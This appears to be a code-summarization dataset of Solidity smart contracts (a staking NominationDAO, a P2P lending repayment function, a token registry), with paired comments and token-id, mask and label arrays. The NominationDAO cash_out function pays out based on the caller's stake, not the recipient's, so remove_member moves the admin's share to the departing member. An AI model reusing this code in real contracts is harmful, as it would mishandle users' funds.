-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: GPL-3.0-only
// This is a PoC to use the staking precompile wrapper as a Solidity developer.
pragma solidity >=0.8.0;
import "./StakingInterface.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
contract NominationDAO is AccessControl {
using SafeMath for uint256;
// TODO Our interface should have an accessor for this.
uint256 public constant MinNominatorStk = 5 ether;
/// The collator that this DAO is currently nominating
address public target;
// Role definition for contract members (approved by admin)
bytes32 public constant MEMBER = keccak256("MEMBER");
// Member stakes (doesnt include rewards, represents member shares)
mapping(address => uint256) public memberStakes;
// Total Stake (doesnt include rewards, represents total shares)
uint256 public totalStake;
/// The ParachainStaking wrapper at the known pre-compile address. This will be used to make
/// all calls to the underlying staking solution
ParachainStaking public staking;
/// Initialize a new NominationDao dedicated to nominating the given collator target.
constructor(address _target, address admin) {
target = _target;
// This is the well-known address of Moonbeam's parachain staking precompile
staking = ParachainStaking(0x0000000000000000000000000000000000000800);
// MinNominatorStk = staking.min_nomination();
_setupRole(DEFAULT_ADMIN_ROLE, admin);
_setupRole(MEMBER, admin);
}
// Grant a user the role of admin
function grant_admin(address newAdmin)
public
onlyRole(DEFAULT_ADMIN_ROLE)
onlyRole(MEMBER)
{
grantRole(DEFAULT_ADMIN_ROLE, newAdmin);
grantRole(MEMBER, newAdmin);
}
// Grant a user membership
function grant_member(address newMember)
public
onlyRole(DEFAULT_ADMIN_ROLE)
{
grantRole(MEMBER, newMember);
}
// Revoke a user membership
function remove_member(address payable exMember)
public
onlyRole(DEFAULT_ADMIN_ROLE)
{
cash_out(exMember);
revokeRole(MEMBER, exMember);
}
// Add stake (and increase pool share)
function add_stake() external payable onlyRole(MEMBER) {
memberStakes[msg.sender] = memberStakes[msg.sender].add(msg.value);
totalStake = totalStake.add(msg.value);
}
// Function for a user to cash out
function cash_out(address payable account) public onlyRole(MEMBER) {
uint256 amount = address(this)
.balance
.mul(memberStakes[msg.sender])
.div(totalStake);
Address.sendValue(account, amount);
memberStakes[msg.sender] = 0;
}
/// Update the on-chain nomination to reflect any recently-contributed nominations.
function update_nomination(address _target) public onlyRole(DEFAULT_ADMIN_ROLE) {
// If we are already nominating, we need to remove the old nomination first
if (staking.is_nominator(address(this))) {
staking.revoke_nomination(target);
}
target = _target;
// If we have enough funds to nominate, we should start a nomination
if (address(this).balance > MinNominatorStk) {
staking.nominate(target, address(this).balance, 99, 99);
} else {
revert("NominationBelowMin");
}
}
/// Calls directly into the interface.
/// Assumes the contract has atleast 10 ether so that the nomination will be successful.
function unsafe_attempt_to_nominate() public onlyRole(DEFAULT_ADMIN_ROLE) {
staking.nominate(target, 10 ether, 99, 99);
}
// We need a public receive function to accept ether donations as direct transfers
// https://blog.soliditylang.org/2020/03/26/fallback-receive-split/
receive() external payable {
// It would be nice to call update_nomination here so it happens automatically.
// but there is very little gas available when just sending a normal transfer.
// So instead we rely on manually calling update_nomination
}
}
| Grant a user membership | function grant_member(address newMember)
public
onlyRole(DEFAULT_ADMIN_ROLE)
{
grantRole(MEMBER, newMember);
}
| 6,401,184 | [
1,
9021,
279,
729,
12459,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
7936,
67,
5990,
12,
2867,
394,
4419,
13,
203,
3639,
1071,
203,
3639,
1338,
2996,
12,
5280,
67,
15468,
67,
16256,
13,
203,
565,
288,
203,
3639,
7936,
2996,
12,
19630,
16,
394,
4419,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/42/0x6f60d63C6E8ECAB88931fA308806e11f09c0ca16/sources/P2PLending.sol | require(balances[msg.sender] >= amount, 'Not enough money on your BankAccount');require(ifLoanOpen(msg.sender, reciever) == true, 'You have already paid your debt');loans[msg.sender].openLoan = false;delete loans[msg.sender]; | function repayLoan() payable public{
require(isBorrower(msg.sender), 'You are not an Borrower');
require(hasOngoingLoan[msg.sender] == true, 'You do not have an ongoing Loan');
address payable reciever = (loans[msg.sender].investor);
loans[msg.sender].original_amount -= msg.value;
transfer(reciever, msg.value);
emit PayBack(msg.sender, reciever, msg.value, loans[msg.sender].original_amount, now);
ifLoanOpen(msg.sender, reciever);
}
| 9,093,970 | [
1,
6528,
12,
70,
26488,
63,
3576,
18,
15330,
65,
1545,
3844,
16,
296,
1248,
7304,
15601,
603,
3433,
25610,
3032,
8284,
6528,
12,
430,
1504,
304,
3678,
12,
3576,
18,
15330,
16,
1950,
1385,
502,
13,
422,
638,
16,
296,
6225,
1240,
1818,
30591,
3433,
18202,
88,
8284,
383,
634,
63,
3576,
18,
15330,
8009,
3190,
1504,
304,
273,
629,
31,
3733,
437,
634,
63,
3576,
18,
15330,
15533,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
2071,
528,
1504,
304,
1435,
8843,
429,
1071,
95,
203,
3639,
2583,
12,
291,
38,
15318,
264,
12,
3576,
18,
15330,
3631,
296,
6225,
854,
486,
392,
605,
15318,
264,
8284,
203,
3639,
2583,
12,
5332,
1398,
8162,
1504,
304,
63,
3576,
18,
15330,
65,
422,
638,
16,
296,
6225,
741,
486,
1240,
392,
30542,
3176,
304,
8284,
203,
540,
203,
3639,
1758,
8843,
429,
1950,
1385,
502,
273,
261,
383,
634,
63,
3576,
18,
15330,
8009,
5768,
395,
280,
1769,
203,
3639,
437,
634,
63,
3576,
18,
15330,
8009,
8830,
67,
8949,
3947,
1234,
18,
1132,
31,
203,
540,
203,
3639,
7412,
12,
3927,
1385,
502,
16,
1234,
18,
1132,
1769,
203,
3639,
3626,
13838,
2711,
12,
3576,
18,
15330,
16,
1950,
1385,
502,
16,
1234,
18,
1132,
16,
437,
634,
63,
3576,
18,
15330,
8009,
8830,
67,
8949,
16,
2037,
1769,
203,
3639,
309,
1504,
304,
3678,
12,
3576,
18,
15330,
16,
1950,
1385,
502,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.0;
import "./ProjectRegistry.sol";
import "./HyphaToken.sol";
import "./Project.sol";
import "./ProjectLibrary.sol";
import "./Task.sol";
import "./library/PLCRVoting.sol";
import "./library/Division.sol";
import "./library/SafeMath.sol";
import "./library/Ownable.sol";
/**
@title This contract serves as the interface through which users propose projects, stake tokens,
come to consensus around tasks, validate projects, vote on projects, refund their stakes, and
claim their rewards.
@author Team: Jessica Marshall, Ashoka Finley
@notice This contract implements how users perform actions using capital tokens in the various stages of a project.
*/
contract TokenRegistry is Ownable {
using ProjectLibrary for address;
using SafeMath for uint256;
// =====================================================================
// EVENTS
// =====================================================================
event LogStakedTokens(address indexed projectAddress, uint256 tokens, uint256 weiChange, address staker, bool staked);
event LogUnstakedTokens(address indexed projectAddress, uint256 tokens, uint256 weiChange, address unstaker);
event LogValidateTask(address indexed projectAddress, uint256 validationFee, bool validationState, uint256 taskIndex, address validator);
event LogRewardValidator(address indexed projectAddress, uint256 index, uint256 weiReward, uint256 returnAmount, address validator);
event LogTokenVoteCommitted(address indexed projectAddress, uint256 index, uint256 votes, bytes32 secretHash, uint256 pollId, address voter);
event LogTokenVoteRevealed(address indexed projectAddress, uint256 index, uint256 voteOption, uint256 salt, address voter);
event LogTokenVoteRescued(address indexed projectAddress, uint256 index, uint256 pollId, address voter);
event LogRewardOriginator(address projectAddress);
// =====================================================================
// STATE VARIABLES
// =====================================================================
ProjectRegistry projectRegistry;
HyphaToken hyphaToken;
PLCRVoting plcrVoting;
uint256 proposeProportion = 200000000000; // tokensupply/proposeProportion is the number of tokens the proposer must stake
uint256 rewardProportion = 100;
bool freeze;
// =====================================================================
// MODIFIERS
// =====================================================================
modifier onlyPR() {
require(msg.sender == address(projectRegistry));
_;
}
// =====================================================================
// CONSTRUCTOR
// =====================================================================
/**
@dev Quasi constructor is called after contract is deployed, must be called with hyphaToken,
projectRegistry, and plcrVoting intialized to 0
@param _hyphaToken Address of HyphaToken contract
@param _projectRegistry Address of ProjectRegistry contract
@param _plcrVoting Address of PLCRVoting contract
*/
function init(address payable _hyphaToken, address _projectRegistry, address _plcrVoting) public { //contract is created
require(
address(hyphaToken) == address(0) &&
address(projectRegistry) == address(0) &&
address(plcrVoting) == address(0)
);
hyphaToken = HyphaToken(_hyphaToken);
projectRegistry = ProjectRegistry(_projectRegistry);
plcrVoting = PLCRVoting(_plcrVoting);
}
// =====================================================================
// OWNABLE
// =====================================================================
/**
* @dev Freezes the contract and allows existing token holders to withdraw tokens
*/
function freezeContract() external onlyOwner {
freeze = true;
}
/**
* @dev Unfreezes the contract and allows existing token holders to withdraw tokens
*/
function unfreezeContract() external onlyOwner {
freeze = false;
}
/**
* @dev Instantiate a new instance of plcrVoting contract
* @param _newPlcrVoting Address of the new plcr contract
*/
function updatePLCRVoting(address _newPlcrVoting) external onlyOwner {
plcrVoting = PLCRVoting(_newPlcrVoting);
}
/**
* @dev Update the address of the hyphaToken
* @param _newHyphaToken Address of the new distribute token
*/
function updateHyphaToken(address payable _newHyphaToken) external onlyOwner {
hyphaToken = HyphaToken(_newHyphaToken);
}
/**
* @dev Update the address of the base product proxy contract
* @param _newProjectRegistry Address of the new project contract
*/
function updateProjectRegistry(address _newProjectRegistry) external onlyOwner {
projectRegistry = ProjectRegistry(_newProjectRegistry);
}
function squaredAmount(uint _amount) internal pure returns (uint) {
return _amount.mul(_amount);
}
// =====================================================================
// FALLBACK
// =====================================================================
function() external payable {}
// =====================================================================
// PROPOSE
// =====================================================================
/**
@notice Propose a project of cost `_cost` with staking period `_stakingPeriod` and hash `_ipfsHash`,
with tokens.
@dev Calls ProjectRegistry.createProject to finalize transaction and emits ProjectCreated event
@param _cost Total project cost in wei
@param _stakingPeriod Length of time the project can be staked on before it expires
@param _ipfsHash Hash of the project description
*/
function proposeProject(uint256 _cost, uint256 _stakingPeriod, bytes calldata _ipfsHash) external {
require(!freeze);
require(block.timestamp < _stakingPeriod && _cost > 0);
uint256 costProportion = Division.percent(_cost, hyphaToken.weiBal(), 10);
uint256 proposerTokenCost = (
Division.percent(costProportion, proposeProportion, 10).mul(
hyphaToken.totalSupply())).div(
10000000000);
//divide by 20 to get 5 percent of tokens
require(hyphaToken.balanceOf(msg.sender) >= proposerTokenCost);
hyphaToken.transferToEscrow(msg.sender, proposerTokenCost);
address projectAddress = projectRegistry.createProject(
_cost,
costProportion,
_stakingPeriod,
msg.sender,
1,
proposerTokenCost,
_ipfsHash
);
}
/**
@notice Refund a token proposer upon proposal success, transfer 5% of the project cost in
wei as a reward along with any tokens staked on the project.
@dev token proposer types are denoted by '1' and reputation proposers by '2'
@param _projectAddress Address of the project
*/
function refundProposer(address payable _projectAddress) external { //called by proposer to get refund once project is active
require(!freeze);
Project project = Project(_projectAddress); //called by proposer to get refund once project is active
require(project.proposer() == msg.sender);
require(project.proposerType() == 1);
uint256[2] memory proposerVals = projectRegistry.refundProposer(_projectAddress, msg.sender); //call project to "send back" staked tokens to put in proposer's balances
hyphaToken.transferFromEscrow(msg.sender, proposerVals[1]);
hyphaToken.transferWeiTo(msg.sender, proposerVals[0] / (20));
}
/**
@notice Rewards the originator of a project plan in wei.
@param _projectAddress Address of the project
*/
function rewardOriginator(address payable _projectAddress) external {
require(!freeze);
Project project = Project(_projectAddress);
require(project.state() == 6);
projectRegistry.rewardOriginator(_projectAddress, msg.sender);
emit LogRewardOriginator(_projectAddress);
project.transferWeiReward(msg.sender, project.originatorReward());
}
// =====================================================================
// STAKE
// =====================================================================
/**
@notice Stake `_tokens` tokens on project at `_projectAddress`
@dev Prevents over staking and returns any excess tokens staked.
@param _projectAddress Address of the project
@param _tokens Amount of tokens to stake
*/
function stakeTokens(address payable _projectAddress, uint256 _tokens) external {
require(!freeze);
require(projectRegistry.projects(_projectAddress) == true);
require(hyphaToken.balanceOf(msg.sender) >= _tokens);
Project project = Project(_projectAddress);
// handles edge case where someone attempts to stake past the staking deadline
projectRegistry.checkStaked(_projectAddress);
require(project.state() == 1);
// calculate amount of wei the project still needs
uint256 weiRemaining = project.weiCost() - project.weiBal();
require(weiRemaining > 0);
uint256 currentPrice = hyphaToken.currentPrice();
uint256 weiVal = currentPrice * _tokens;
bool flag = weiVal > weiRemaining;
uint256 weiChange = flag
? weiRemaining
: weiVal; //how much ether to send on change
uint256 tokens = flag
? ((weiRemaining/currentPrice) + 1) // round up to prevent loophole where user can stake without losing tokens
: _tokens;
// updating of P weiBal happens via the next line
project.stakeTokens(msg.sender, tokens, weiChange);
// the transfer of wei and the updating of DT weiBal happens via the next line
hyphaToken.transferWeiTo(_projectAddress, weiChange);
hyphaToken.transferToEscrow(msg.sender, tokens);
bool staked = projectRegistry.checkStaked(_projectAddress);
emit LogStakedTokens(_projectAddress, tokens, weiChange, msg.sender, staked);
}
/**
@notice Unstake `_tokens` tokens from project at `_projectAddress`
@dev Require tokens unstaked is greater than 0
@param _projectAddress Address of the project
@param _tokens Amount of reputation to unstake
*/
function unstakeTokens(address payable _projectAddress, uint256 _tokens) external {
require(!freeze);
require(projectRegistry.projects(_projectAddress) == true);
// handles edge case where someone attempts to unstake past the staking deadline
projectRegistry.checkStaked(_projectAddress);
uint256 weiVal = Project(_projectAddress).unstakeTokens(msg.sender, _tokens, address(hyphaToken));
// the actual wei is sent back to DT via Project.unstakeTokens()
// the weiBal is updated via the next line
hyphaToken.returnWei(weiVal);
hyphaToken.transferFromEscrow(msg.sender, _tokens);
emit LogUnstakedTokens(_projectAddress, _tokens, weiVal, msg.sender);
}
/**
@notice Calculates the relative weight of an `_address`.
Weighting is calculated by the proportional amount of tokens a user possess in relation to the total supply.
@param _address Address of the staker
@return The relative weight of a staker as a whole integer
*/
function calculateWeightOfAddress(
address _address
) public view returns (uint256) {
return Division.percent(hyphaToken.balanceOf(_address), hyphaToken.totalSupply(), 15);
}
// =====================================================================
// VALIDATION
// =====================================================================
/**
@notice Validate a task at index `_index` from project at `_projectAddress` with `_tokens`
tokens for validation state `_validationState`
@dev Requires the token balance of msg.sender to be greater than the reputationVal of the task
@param _projectAddress Address of the project
@param _taskIndex Index of the task
@param _validationState Approve or Deny task
*/
function validateTask(
address payable _projectAddress,
uint256 _taskIndex,
bool _validationState
) external {
require(!freeze);
require(projectRegistry.projects(_projectAddress) == true);
Project project = Project(_projectAddress);
Task task = Task(project.tasks(_taskIndex));
uint256 validationFee = task.validationEntryFee();
require(hyphaToken.balanceOf(msg.sender) >= validationFee);
hyphaToken.transferToEscrow(msg.sender, validationFee);
ProjectLibrary.validate(_projectAddress, msg.sender, _taskIndex, _validationState);
emit LogValidateTask(_projectAddress, validationFee, _validationState, _taskIndex, msg.sender);
}
/**
@notice Reward the validator of a task if they have been determined to have validated correctly.
@param _projectAddress Address of the project
@param _index Index of the task
*/
function rewardValidator(address payable _projectAddress, uint256 _index) external {
require(!freeze);
require(projectRegistry.projects(_projectAddress) == true);
Project project = Project(_projectAddress);
Task task = Task(project.tasks(_index));
require(task.claimable());
uint returnAmount;
uint index = task.getValidatorIndex(msg.sender);
require(index < 5);
task.setValidatorIndex(msg.sender);
uint rewardWeighting = projectRegistry.validationRewardWeightings(index);
uint statusNeed = task.claimableByRep() ? 1 : 0;
uint weiReward;
if (statusNeed == task.getValidatorStatus(msg.sender)) {
returnAmount += task.validationEntryFee();
uint validationIndex;
if (task.getValidatorStatus(msg.sender) == 1) {
require(task.affirmativeValidators(index) == msg.sender);
validationIndex = task.affirmativeIndex();
} else {
require(task.negativeValidators(index) == msg.sender);
validationIndex = task.negativeIndex();
}
if (validationIndex < 5) {
uint addtlWeighting;
for(uint i = validationIndex ; i < 5; i++) {
addtlWeighting = addtlWeighting.add(projectRegistry.validationRewardWeightings(i));
}
rewardWeighting = rewardWeighting.add(addtlWeighting.div(validationIndex));
}
weiReward = project.validationReward().mul(task.weighting()).mul(rewardWeighting).div(10000);
project.transferWeiReward(msg.sender, weiReward);
emit LogRewardValidator(_projectAddress, _index, weiReward, returnAmount, msg.sender);
} else {
weiReward = 0;
statusNeed == 1
? require(task.negativeValidators(index) == msg.sender)
: require(task.affirmativeValidators(index) == msg.sender);
returnAmount += task.validationEntryFee() / 2;
hyphaToken.burn(task.validationEntryFee() - returnAmount);
emit LogRewardValidator(_projectAddress, _index, 0, returnAmount, msg.sender);
}
emit LogRewardValidator(_projectAddress, _index, weiReward, returnAmount, msg.sender);
hyphaToken.transferFromEscrow(msg.sender, returnAmount);
}
// =====================================================================
// VOTING
// =====================================================================
/**
@notice First part of voting process. Commits a vote using tokens to task at index `_index`
of project at `projectAddress` for tokens `_tokens`. Submits a secrect hash `_secretHash`,
which is a tightly packed hash of the voters choice and their salt
@param _projectAddress Address of the project
@param _index Index of the task
@param _votes Tokens to vote with
@param _secretHash Secret Hash of voter choice and salt
@param _prevPollID The nonce of the previous poll. This is stored off chain
*/
function voteCommit(
address payable _projectAddress,
uint256 _index,
uint256 _votes,
bytes32 _secretHash,
uint256 _prevPollID
) external { // _secretHash Commit keccak256 hash of voter's choice and salt (tightly packed in this order), done off-chain
require(!freeze);
require(projectRegistry.projects(_projectAddress) == true);
uint256 pollId = Task(Project(_projectAddress).tasks(_index)).pollId();
// calculate available tokens for voting
uint256 availableVotes = plcrVoting.getAvailableTokens(msg.sender, 1);
// make sure msg.sender has tokens available in PLCR contract
// if not, request voting rights for token holder
if (availableVotes < _votes) {
uint votesCost = squaredAmount(_votes) - squaredAmount(availableVotes);
require(hyphaToken.balanceOf(msg.sender) >= votesCost);
hyphaToken.transferToEscrow(msg.sender, votesCost);
plcrVoting.requestVotingRights(msg.sender, _votes - availableVotes);
}
plcrVoting.commitVote(msg.sender, pollId, _secretHash, _votes, _prevPollID);
emit LogTokenVoteCommitted(_projectAddress, _index, _votes, _secretHash, pollId, msg.sender);
}
/**
@notice Second part of voting process. Reveal existing vote.
@param _projectAddress Address of the project
@param _index Index of the task
@param _voteOption Vote choice of account
@param _salt Salt of account
*/
function voteReveal(
address payable _projectAddress,
uint256 _index,
uint256 _voteOption,
uint256 _salt
) external {
require(!freeze);
require(projectRegistry.projects(_projectAddress) == true);
plcrVoting.revealVote(msg.sender, Task(Project(_projectAddress).tasks(_index)).pollId(), _voteOption, _salt);
emit LogTokenVoteRevealed(_projectAddress, _index, _voteOption, _salt, msg.sender);
}
/**
@notice Refunds staked tokens, thus also withdrawing voting rights from PLCR Contract
@param _votes Amount of tokens to withdraw
*/
function refundVotingTokens(uint256 _votes) external {
require(!freeze);
uint userVotes = plcrVoting.getAvailableTokens(msg.sender, 1);
require(_votes <= userVotes);
uint votesPrice = squaredAmount(userVotes) - squaredAmount(userVotes - _votes);
plcrVoting.withdrawVotingRights(msg.sender, _votes);
hyphaToken.transferFromEscrow(msg.sender, votesPrice);
}
// =====================================================================
// COMPLETE
// =====================================================================
/**
@notice Refund a token staker from project at `_projectAddress`
@param _projectAddress Address of the project
*/
function refundStaker(address payable _projectAddress) external {
require(!freeze);
require(projectRegistry.projects(_projectAddress) == true);
uint256 refund = ProjectLibrary.refundStaker(_projectAddress, msg.sender, address(this));
require(refund > 0);
Project(_projectAddress).clearTokenStake(msg.sender);
hyphaToken.transferFromEscrow(msg.sender, refund);
if (Project(_projectAddress).state() == 6) {
hyphaToken.transferTokensTo(msg.sender, refund / 20);
}
}
/**
@notice Rescue unrevealed token votes from expired polls of task at `_index` of project at
`_projectAddress`
@param _projectAddress Address of the project
@param _index Index of the task
*/
function rescueTokens(address payable _projectAddress, uint _index) external {
require(!freeze);
require(projectRegistry.projects(_projectAddress) == true);
uint256 pollId = Task(Project(_projectAddress).tasks(_index)).pollId();
plcrVoting.rescueTokens(msg.sender, pollId);
emit LogTokenVoteRescued(_projectAddress, _index, pollId, msg.sender);
}
// =====================================================================
// FAILED
// =====================================================================
/**
@notice Return wei from project balance if task fails
@dev Only callable by the ProjectRegistry contract
@param _value Amount of wei to transfer to the hyphaToken contract
*/
function revertWei(uint256 _value) external onlyPR {
require(!freeze);
hyphaToken.returnWei(_value);
}
/**
@notice Burn tokens in event of project failure
@dev Only callable by the ProjectRegistry contract
@param _tokens Amount of reputation to burn
*/
function burnTokens(uint256 _tokens) external onlyPR {
require(!freeze);
hyphaToken.burn(_tokens);
}
}
| call project to "send back" staked tokens to put in proposer's balances
| uint256[2] memory proposerVals = projectRegistry.refundProposer(_projectAddress, msg.sender); | 12,904,753 | [
1,
1991,
1984,
358,
315,
4661,
1473,
6,
384,
9477,
2430,
358,
1378,
316,
450,
5607,
1807,
324,
26488,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
2254,
5034,
63,
22,
65,
3778,
450,
5607,
13169,
273,
1984,
4243,
18,
1734,
1074,
626,
5607,
24899,
4406,
1887,
16,
1234,
18,
15330,
1769,
540,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
